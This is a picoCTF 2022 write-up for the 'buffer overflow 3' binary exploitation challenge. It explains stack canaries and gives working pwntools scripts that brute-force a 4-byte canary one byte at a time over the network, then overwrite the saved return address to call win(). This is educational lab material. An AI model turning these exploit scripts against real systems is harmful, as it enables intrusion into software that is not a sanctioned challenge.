Skip to main content

buffer overflow 3 picoCTF 2022 Solution

A binary exploitation challenge that requires bypassing stack protection to redirect program execution.

Published: July 20, 2023Updated: August 13, 2026

Description

This challenge adds a stack canary to the buffer overflow series. A 4-byte secret value is placed between the local buffer and the saved return address; if it changes, the program calls __stack_chk_fail and exits.

The twist: the canary is stored in a file you can read, and the program lets you attempt a brute-force - probe each byte individually to defeat the protection.

Download the binary, the C source, and the canary file.

The challenge server reads the canary from a local file. Brute-force one byte at a time over the network connection.

bash
wget https://artifacts.picoctf.net/c/191/vuln && chmod +x vuln
bash
checksec --file=vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
The Buffer Overflow and Binary Exploitation guide covers stack canary bypass (used here) and explains how to leak the canary before overwriting the return address.
  1. Step 1Understand how the canary works
    Observation
    The description mentions a 4-byte secret sitting between the buffer and the saved return address. That is a stack canary, and its layout has to be understood before any overflow attempt.
    The 4-byte canary sits between the buffer and the saved return address. Overwriting it without knowing its value triggers abort().
    Learn more

    A stack canary is a random value placed by the compiler (or in this case, manually by the challenge) just below the saved return address on the stack. Before a function returns, the canary value is compared against the original. If they differ, __stack_chk_fail() is called, printing "stack smashing detected" and killing the process.

    Modern Linux binaries use GCC's -fstack-protector-strong flag to generate canaries automatically. The canary value is stored in a thread-local variable (fs:0x28 on x86-64) and refreshed per-process. In production you cannot read it - but this challenge intentionally writes it to a known file to make brute-forcing feasible.

    The key insight: because the program lets you send input multiple times (once per brute-force attempt), you can test one byte at a time. With 256 possibilities per byte and 4 bytes, you need at most 4 * 256 = 1024 attempts - far more tractable than guessing all 4 bytes at once (2^32 = ~4 billion).

  2. Step 2Brute-force the canary one byte at a time
    Observation
    The server accepts repeated connections and prints a readable stack-smashing message whenever the canary mismatches. That is a byte-at-a-time oracle: each position can be confirmed on its own by whether that error appears.
    Send buffer-fill + known-good prefix + one trial byte. The byte that does not produce 'stack smashing detected' is correct.
    python
    python3 -c "
    from pwn import *
    import socket
    
    HOST, PORT = 'saturn.picoctf.net', <PORT_FROM_INSTANCE>
    BUFFER_SIZE = 64   # confirm via objdump: grep 'sub.*esp' or read source
    canary = b''
    
    for i in range(4):
        for byte in range(256):
            try:
                p = remote(HOST, PORT, timeout=3)
                p.recvuntil(b'>', timeout=2)
                p.sendline(b'1')                       # 'write' option
                p.sendline(b'A' * BUFFER_SIZE + canary + bytes([byte]))
                p.recvuntil(b'>', timeout=2)
                p.sendline(b'2')                       # trigger canary check
                resp = p.recvall(timeout=1)
            except (EOFError, socket.timeout, ConnectionError):
                continue                               # treat as crash, try next byte
            finally:
                try: p.close()
                except: pass
            if b'Smashing' not in resp and b'abort' not in resp:
                canary += bytes([byte])
                print(f'Byte {i}: 0x{byte:02x}  canary: {canary.hex()}')
                break
        else:
            raise SystemExit(f'No matching byte at position {i}')
    print('Canary:', canary.hex())
    "
    What didn't work first

    Tried: Send all 4 canary bytes at once by guessing a common canary value like 0x00000000 or a repeated pattern.

    The program aborts on any wrong 4-byte guess with no partial feedback at all. The brute force works only because it tolerates one connection per byte attempt, and going a byte at a time collapses the search from 2^32 down to four rounds of 256 using the crash-or-no-crash oracle.

    Tried: Use a fixed BUFFER_SIZE of 64 without verifying it against the source or disassembly.

    If the real buffer is a different size, the canary bytes in your payload land at the wrong stack offset and every attempt crashes, even on the correct value. Check the allocation first, either from the sub-esp instruction in the disassembly or from the C source declaration.

    Learn more

    The loop is a byte-at-a-time oracle attack: a binary oracle (crash vs no crash) plus prefix reuse collapses 232 down to 4 * 256 = 1024 attempts. Same idea as the padding-oracle attacks behind POODLE.

    Why error handling matters here. Brute-forcing over the network means flaky connections, server-side timeouts, and abrupt closes that look identical to a crash. Wrapping the recv in try/except lets you treat any failure as "assume crash, try next byte" instead of getting stuck. The else on the inner for raises if no byte matched - that's your signal that the loop is broken (wrong BUFFER_SIZE, wrong prompt, etc.) rather than silently iterating forever.

    Reading the C source - what to extract:

    • Buffer declaration: char buf[N] -> gives you BUFFER_SIZE = N.
    • Menu structure: which option triggers the unsafe input (here, "write"), and which option triggers the canary check on return ("read", or whatever forces the function to ret).
    • Canary location: usually a global or stack-local placed just below the saved EBP.
    • Failure string: exact bytes of the abort message - you grep for it in the response.

    No source? Pull BUFFER_SIZE from the disassembly: objdump -d vuln | grep -E 'sub.*esp' shows the frame allocation. The buffer is somewhere inside that frame (rarely the entire allocation, since locals also live there).

    Why this oracle approach works at all. The challenge lets you make repeated attempts. If it didn't - one shot per connection, no retry - you'd need a memory disclosure (format-string leak, OOB read) to read the canary instead. See the "flag leak" challenge for that pattern.

  3. Step 3Build the final exploit with the recovered canary
    Observation
    The brute force has recovered all four canary bytes. Now a full payload can preserve the canary intact while overwriting the saved EIP with the address of win().
    Now that you know the 4-byte canary, craft the full overflow: buffer + canary (unchanged) + 4-byte saved EBP padding + win() address.
    python
    python3 -c "
    from pwn import *
    elf = ELF('./vuln')
    win_addr = elf.symbols['win']
    BUFFER_SIZE = 64
    canary = bytes.fromhex('CANARY_HEX_HERE')
    
    # Layout: [buffer] [4-byte canary] [4-byte saved EBP] [4-byte saved EIP]
    # Add extra padding only if disassembly shows additional locals between
    # the canary and the saved EBP.
    payload  = b'A' * BUFFER_SIZE
    payload += canary              # match exactly - check passes
    payload += b'B' * 4            # saved EBP filler
    payload += p32(win_addr)       # overwrite saved EIP
    
    p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'>', payload)
    print(p.recvall().decode())
    "

    Expected output

    picoCTF{Stat1C_c4n4r13s_4R3_b4D_...}
    What didn't work first

    Tried: Use 16 bytes of filler between the canary and p32(win_addr) instead of 4.

    16 bytes only fits when the disassembly shows extra locals between the canary and the saved EBP. In a standard cdecl frame the saved EBP sits immediately above the canary, so 16 bytes of filler overwrites it plus the first 12 bytes of whatever follows, putting the win address in the wrong slot and giving a segfault or a corrupted return.

    Tried: Hardcode win_addr as a hex literal from a local test run instead of reading it with elf.symbols['win'].

    The remote binary may have ASLR off but a different base, or be a slightly different build from the one you tested, which moves win() elsewhere. Reading the symbol off the downloaded binary guarantees the address matches the server's copy.

    Learn more

    With the canary known, the payload is mechanical: fill the buffer, write the canary back unchanged so the epilogue check passes, then 4 bytes for the saved EBP, then your p32(win_addr) over the saved EIP. The 4 bytes after the canary correspond to the saved EBP slot - not 16 - because in the standard cdecl frame the canary sits immediately above the locals and the saved EBP sits immediately above the canary. The previous version had 16 bytes of filler, which only makes sense if the disassembly shows additional locals between canary and saved EBP; verify locally.

    When the function returns, the canary check loads __stack_chk_guard, XORs it with your stack value, and jumps to __stack_chk_fail if non-zero. Because you wrote the same bytes back, the XOR is zero, the function reaches ret, and your win() address takes over.

    Real binaries pull the canary from a thread-local at fs:0x28 (x86-64) and refresh it per-process from /dev/urandom. Brute-forcing won't scale. Format-string vulnerabilities (see flag-leak) can leak the canary out of memory, which is the more general bypass. See pwntools for CTF for canary-leak helper patterns.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{Stat1C_c4n4r13s_4R3_b4D_...}

Brute-force the 4-byte canary one byte at a time, then overflow with the correct canary preserved to bypass the check.

Key takeaway

A stack canary is a compiler mitigation placing a sentinel between a function's local buffers and its saved return address, so a corrupted canary terminates the program before the hijacked return address ever runs. Where a program allows repeated attempts, that canary comes back byte by byte through a crash-or-no-crash oracle, turning 2^32 guesses into at most four rounds of 256. In production, canaries are randomized per process from /dev/urandom and unreadable, so real bypasses lean on memory disclosure, a format-string leak or an out-of-bounds read, rather than brute force.

Related reading

Tools used in this challenge

Where to go next